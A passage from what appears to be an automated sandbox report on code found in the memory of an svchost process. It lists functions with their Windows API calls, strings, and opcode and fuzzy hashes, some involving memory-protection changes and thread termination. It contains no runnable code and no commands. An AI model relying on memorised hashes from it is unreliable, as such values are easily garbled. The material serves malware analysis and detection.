Part of subcall function 000001F2BD16B414: __GetUnwindTryBlock.LIBCMT ref: 000001F2BD16B457
Part of subcall function 000001F2BD16B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F2BD16B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F2BD16A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F2BD16A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F2BD16A9DA

Strings

csm, xrefs: 000001F2BD16A69C
csm, xrefs: 000001F2BD16A5BB
csm, xrefs: 000001F2BD16A622

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: d5e0ca40e81d9d4a17391a4d0fb4706baa6880c7b00ec249b536ae7b7c49b8b2
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: BDE1F57A621B838AEB20DF65D4603FD77A4F744B98F900126EF8957B9ACB34D481C706

Function 000001F2BD16F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000001F2BD16F510
GetProcAddress.KERNEL32 ref: 000001F2BD16F51C

Strings

api-ms-, xrefs: 000001F2BD16F45A
ext-ms-, xrefs: 000001F2BD16F46D

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: dee3e0f77a7f950d99e87eba1c700eb07d10c10f3303d0f797124f3aba53c511
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 1241DE76336A0381EB16CB66A8247F52395FB49BE0F894139DD0A87B99EE38C445C352

Function 000001F2BD16104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F2BD1610B1
RegEnumValueW.ADVAPI32 ref: 000001F2BD161117
GetProcessHeap.KERNEL32 ref: 000001F2BD16115A
HeapAlloc.KERNEL32 ref: 000001F2BD161168
GetProcessHeap.KERNEL32 ref: 000001F2BD161185
HeapFree.KERNEL32 ref: 000001F2BD161193

Strings

d, xrefs: 000001F2BD1610D6

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 4129ac803274aa25b024b198ef83d0f7a517cdb801d32a117a9186af29447f03
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 9D4171B7224B86C6E7A0CF61E4543EE77A1F389B98F448129DE8907B58DF38C485CB01

Function 000001F2BD16D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001F2BD16C7DE,?,?,?,?,?,?,?,?,000001F2BD16CF9D,?,?,00000001), ref: 000001F2BD16D087
FlsSetValue.KERNEL32(?,?,?,000001F2BD16C7DE,?,?,?,?,?,?,?,?,000001F2BD16CF9D,?,?,00000001), ref: 000001F2BD16D0A6
FlsSetValue.KERNEL32(?,?,?,000001F2BD16C7DE,?,?,?,?,?,?,?,?,000001F2BD16CF9D,?,?,00000001), ref: 000001F2BD16D0CE
FlsSetValue.KERNEL32(?,?,?,000001F2BD16C7DE,?,?,?,?,?,?,?,?,000001F2BD16CF9D,?,?,00000001), ref: 000001F2BD16D0DF
FlsSetValue.KERNEL32(?,?,?,000001F2BD16C7DE,?,?,?,?,?,?,?,?,000001F2BD16CF9D,?,?,00000001), ref: 000001F2BD16D0F0

Strings

1%, xrefs: 000001F2BD16D0CE
Y%, xrefs: 000001F2BD16D0A6

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 43319ffa0c7ee914352e92ba5d38087bee9b4dd8faa5ceab62ab6c6d6a778b8b
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 4611D03872528341FB68A7755A713F923416B443F0FA84734ED3D066EADE78C442A303

Function 000001F2BD167510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F2BD167538
__scrt_acquire_startup_lock.LIBCMT ref: 000001F2BD16758A
_RTC_Initialize.LIBCMT ref: 000001F2BD1675B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F2BD1675DE
__scrt_release_startup_lock.LIBCMT ref: 000001F2BD167609

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 96eb2be9ce1bb00abb2c46e894f9b4b09165b72cda165d31dba4d8d7e2e0f222
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: E981C37973064386FB50AB65A4713F96390A785780FD88535EE0847FAEEB78C845C723

Function 000001F2BD169DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001F2BD169E49
GetLastError.KERNEL32 ref: 000001F2BD169E57
LoadLibraryExW.KERNEL32 ref: 000001F2BD169E81
FreeLibrary.KERNEL32 ref: 000001F2BD169EC7
GetProcAddress.KERNEL32 ref: 000001F2BD169ED3

Strings

api-ms-, xrefs: 000001F2BD169E69

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 816ff74fe6477f5732722e6092750f562cc341bf4d63a227298854922a383655
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: ED31C339362A43E2EF51DF46A4207F52394B748BA0F990535DD2E4B790DF38C6458302

Function 000001F2BD173DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001F2BD173DE5
GetLastError.KERNEL32 ref: 000001F2BD173DF1
CloseHandle.KERNEL32 ref: 000001F2BD173E09
CreateFileW.KERNEL32 ref: 000001F2BD173E34
WriteConsoleW.KERNEL32 ref: 000001F2BD173E53

Strings

CONOUT$, xrefs: 000001F2BD173E15

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 68a04bec6a80dc601419c648532c195415f03fb67fd4141b094f95e126f479e1
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 29118272720B4386E7908B52E8643E977A0F788FE4F944234EE6E877A4DF38C8548741

Function 000001F2BD163790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F2BD16379E
GetCurrentProcess.KERNEL32 ref: 000001F2BD1637CC
VirtualProtectEx.KERNEL32 ref: 000001F2BD1637EE
GetCurrentProcess.KERNEL32 ref: 000001F2BD163809
VirtualProtectEx.KERNEL32 ref: 000001F2BD16382A

Strings

wr, xrefs: 000001F2BD1637FF

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: d3eef95f8e9797c62bd303372fc9d1d98ec5d0db309b4e4d04cd5f80355460af
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: D8113C7A724B4382FF549B61E4282F963A4F789B85F880139DE8907764EF3DC505C705

Function 000001F2BD165B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F2BD165B6B
GetThreadContext.KERNEL32 ref: 000001F2BD165CD5

Part of subcall function 000001F2BD165960: GetCurrentThreadId.KERNEL32 ref: 000001F2BD165964

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: ee09959155a2eac8c82d5250b8b01ccc16e451735121b4104c9fa91c9d301f77
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 42D18F7A215B8A81EB70DB15E4943EA7BA0F388B84F500126EECD47BA5DF3DC551CB01

Function 000001F2BD162F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F2BD162F27
HeapAlloc.KERNEL32 ref: 000001F2BD162F3A
StrCmpNIW.SHLWAPI ref: 000001F2BD162FAF
GetProcessHeap.KERNEL32 ref: 000001F2BD163015
HeapFree.KERNEL32 ref: 000001F2BD163023

Strings

dialer, xrefs: 000001F2BD162FA8

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 7f80d1afa80db319671d8072da7637dd5eac392f218b8f1172c2418ba6a9fafe
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 43319C3A721B53C2EB54CF66A5647FAA7A0FB44B84F888030DE4847B65EF38C4A5C701

Function 000001F2BD16CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001F2BD16CFAF
FlsSetValue.KERNEL32(?,?,?,000001F2BD16D6B5,?,?,?,?,000001F2BD16D778), ref: 000001F2BD16CFE5
FlsSetValue.KERNEL32(?,?,?,000001F2BD16D6B5,?,?,?,?,000001F2BD16D778), ref: 000001F2BD16D012
FlsSetValue.KERNEL32(?,?,?,000001F2BD16D6B5,?,?,?,?,000001F2BD16D778), ref: 000001F2BD16D023
FlsSetValue.KERNEL32(?,?,?,000001F2BD16D6B5,?,?,?,?,000001F2BD16D778), ref: 000001F2BD16D034
SetLastError.KERNEL32 ref: 000001F2BD16D04F

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 9acd306c796429d848d5f20ad6bad8694a47334f45623fd279d62bd0269b48f1
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: F811AF3826628381FB64A7715A753F923526B987F0FA00734ED3A477E6DE78C4429703

Function 000001F2BD16199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001F2BD1619C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001F2BD1619E0
PathFindFileNameW.SHLWAPI ref: 000001F2BD1619EF
lstrlenW.KERNEL32 ref: 000001F2BD1619FB
StrCpyW.SHLWAPI ref: 000001F2BD161A0E
CloseHandle.KERNEL32 ref: 000001F2BD161A1C

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 5c996072e7495a570841e87374aa50147b4650859bf0fccf7ad7f1c2ba7911ee
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: D4018CB1320A8382EB90DB52A8687E963A1F788FC1F884035DE4D43B65DF3CC989C701

Function 000001F2BD1636C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F2BD1636E4
GetCurrentProcess.KERNEL32 ref: 000001F2BD1636F2
VirtualProtectEx.KERNEL32 ref: 000001F2BD163714
GetCurrentProcess.KERNEL32 ref: 000001F2BD163732
VirtualProtectEx.KERNEL32 ref: 000001F2BD163753
TerminateThread.KERNEL32 ref: 000001F2BD163762

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 7e45d6de1701cbc48d00c2f5e89c2684de88328f7a74c5b911fd512dc97d2502
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 74012DB9321B4382EF659B62E8283FA73A0BB55B86F940538CD4907764EF3DC108C702

Function 000001F2BD169005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F2BD169013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F2BD1690A8
RtlUnwindEx.NTDLL ref: 000001F2BD1690F7

Strings

f, xrefs: 000001F2BD169026
csm, xrefs: 000001F2BD16908E

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 87c6860d37f0f3b42e4d04458acec92380321f76e05e6566a8e7a1b9f8bd8476
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 2351BEBA7216038BEB54DF15E468BF93796F348BA8FA18134DE0647788EB75C841C702

Function 000001F2BD168FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F2BD169013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F2BD1690A8
RtlUnwindEx.NTDLL ref: 000001F2BD1690F7

Strings

f, xrefs: 000001F2BD169026
csm, xrefs: 000001F2BD16908E

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 17ddcd350c3fbab4c69cdfef475f0483a489c2ef7412cbcd3883b63ab174adac
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 5A31E07A32064387EB10DF11E8687E937A8F344BD8F958124EE4607799DB39C941C706

Function 000001F2BD161A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001F2BD161A60
StrCmpNIW.SHLWAPI ref: 000001F2BD161A7A
lstrlenW.KERNEL32 ref: 000001F2BD161A89
StrCpyW.SHLWAPI ref: 000001F2BD161A9E

Strings

\\?\, xrefs: 000001F2BD161A6E

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 25bc3be925b4f34eb54f4aad3c87f7d27e452593e97292b8bbb1cf2c78131fb4
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 2BF04FB232468392EB608B61F9A47E96760F748B98FD44030DE4D46964DF3DC68DCB01

Function 000001F2BD163044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001F2BD163066
StrCpyW.SHLWAPI ref: 000001F2BD163076
StrCatW.SHLWAPI ref: 000001F2BD163082
PathCombineW.SHLWAPI ref: 000001F2BD163090

Strings

\\.\pipe\, xrefs: 000001F2BD16305C

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 1b3ecc0efa6a92ca3f3c221fe06cef17b10792bda2791879ca196cc9822a9c58
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 14F01CB4728B8782EB548B53B9241F96761AB48FD0F889131EE4A47B68DF3CC449C702

Function 000001F2BD16BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001F2BD16BCBD
GetProcAddress.KERNEL32 ref: 000001F2BD16BCD3
FreeLibrary.KERNEL32 ref: 000001F2BD16BCFA

Strings

mscoree.dll, xrefs: 000001F2BD16BCB4
CorExitProcess, xrefs: 000001F2BD16BCCC

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 771891675fd56f81d4029b47b866c1a450b575f78d7e4331bfb30d922d75a8a2
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 1DF06DB5221B0781FB508B68E8643F96320FB89BA5FD44239DE6A462F4CF3CC188C311

Function 000001F2BD1650D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F2BD165156

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: a2ce81cf2cdac8cd3529f73802a6a72a0eb116d24f0474fd80187788a1aaa17d
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: BA02DD36229B8686E760CB55F4943AEBBA0F3C4784F504125EB8E47BA9DF7DC484CB01

Function 000001F2BD165710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F2BD165726

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 24dc54690249d3895b1b7c38b4582e1f8e2edf1faac8764183dfcb93513ee1e5
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 1561CD3A629B87C6F760CB15E4643AA7BA4F388784F900125EE8D47BA8DB7DC450CF01

Function 000001F2BD143504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F2BD14352C
_set_statfp.LIBCMT ref: 000001F2BD143547
_set_statfp.LIBCMT ref: 000001F2BD143563
_set_statfp.LIBCMT ref: 000001F2BD14359F

Memory Dump Source

Source File: 00000036.00000002.2651243362.000001F2BD130000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD130000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd130000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 89e121abe01bbab5ec846b637316a2faced0843acc4250ec4d4012181c456e97
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: BC117332AF4E5311FB681528E5753F913816B58374FCC8639ED764E6D6CA34F8415D02

Function 000001F2BD174104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F2BD17412C
_set_statfp.LIBCMT ref: 000001F2BD174147
_set_statfp.LIBCMT ref: 000001F2BD174163
_set_statfp.LIBCMT ref: 000001F2BD17419F

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: c7ddc661428dab41173e4d3144494a3fabc548170c45f95645eedb0a9107dcdf
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: EE119EF2B70A5321F76565A8E8723F933446B683B8FD90634ED76266F68B38D8414202

Function 000001F2BD13F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001F2BD13F124

Strings

Wednesday, xrefs: 000001F2BD13F1ED
or copy constructor iterator', xrefs: 000001F2BD13F25A, 000001F2BD13F275
Tuesday, xrefs: 000001F2BD13F0F4

Memory Dump Source

Source File: 00000036.00000002.2651243362.000001F2BD130000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD130000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd130000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 0c79ee3de51bcebda1298014617cda1b9bc7cd35cfcb7d7a560ddedfeb2c5a60
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 3161F576622603A3FF658B68E5743FA2BA1E781764FD4C535DE0A077A5DB38C8418303

Function 000001F2BD16AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001F2BD16AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001F2BD16AAB7

Strings

MOC, xrefs: 000001F2BD16AA7C
RCC, xrefs: 000001F2BD16AA85

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 72b17d77638bc188f5486d189d3d1f29063d8361665bbe24a03d959e45885044
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
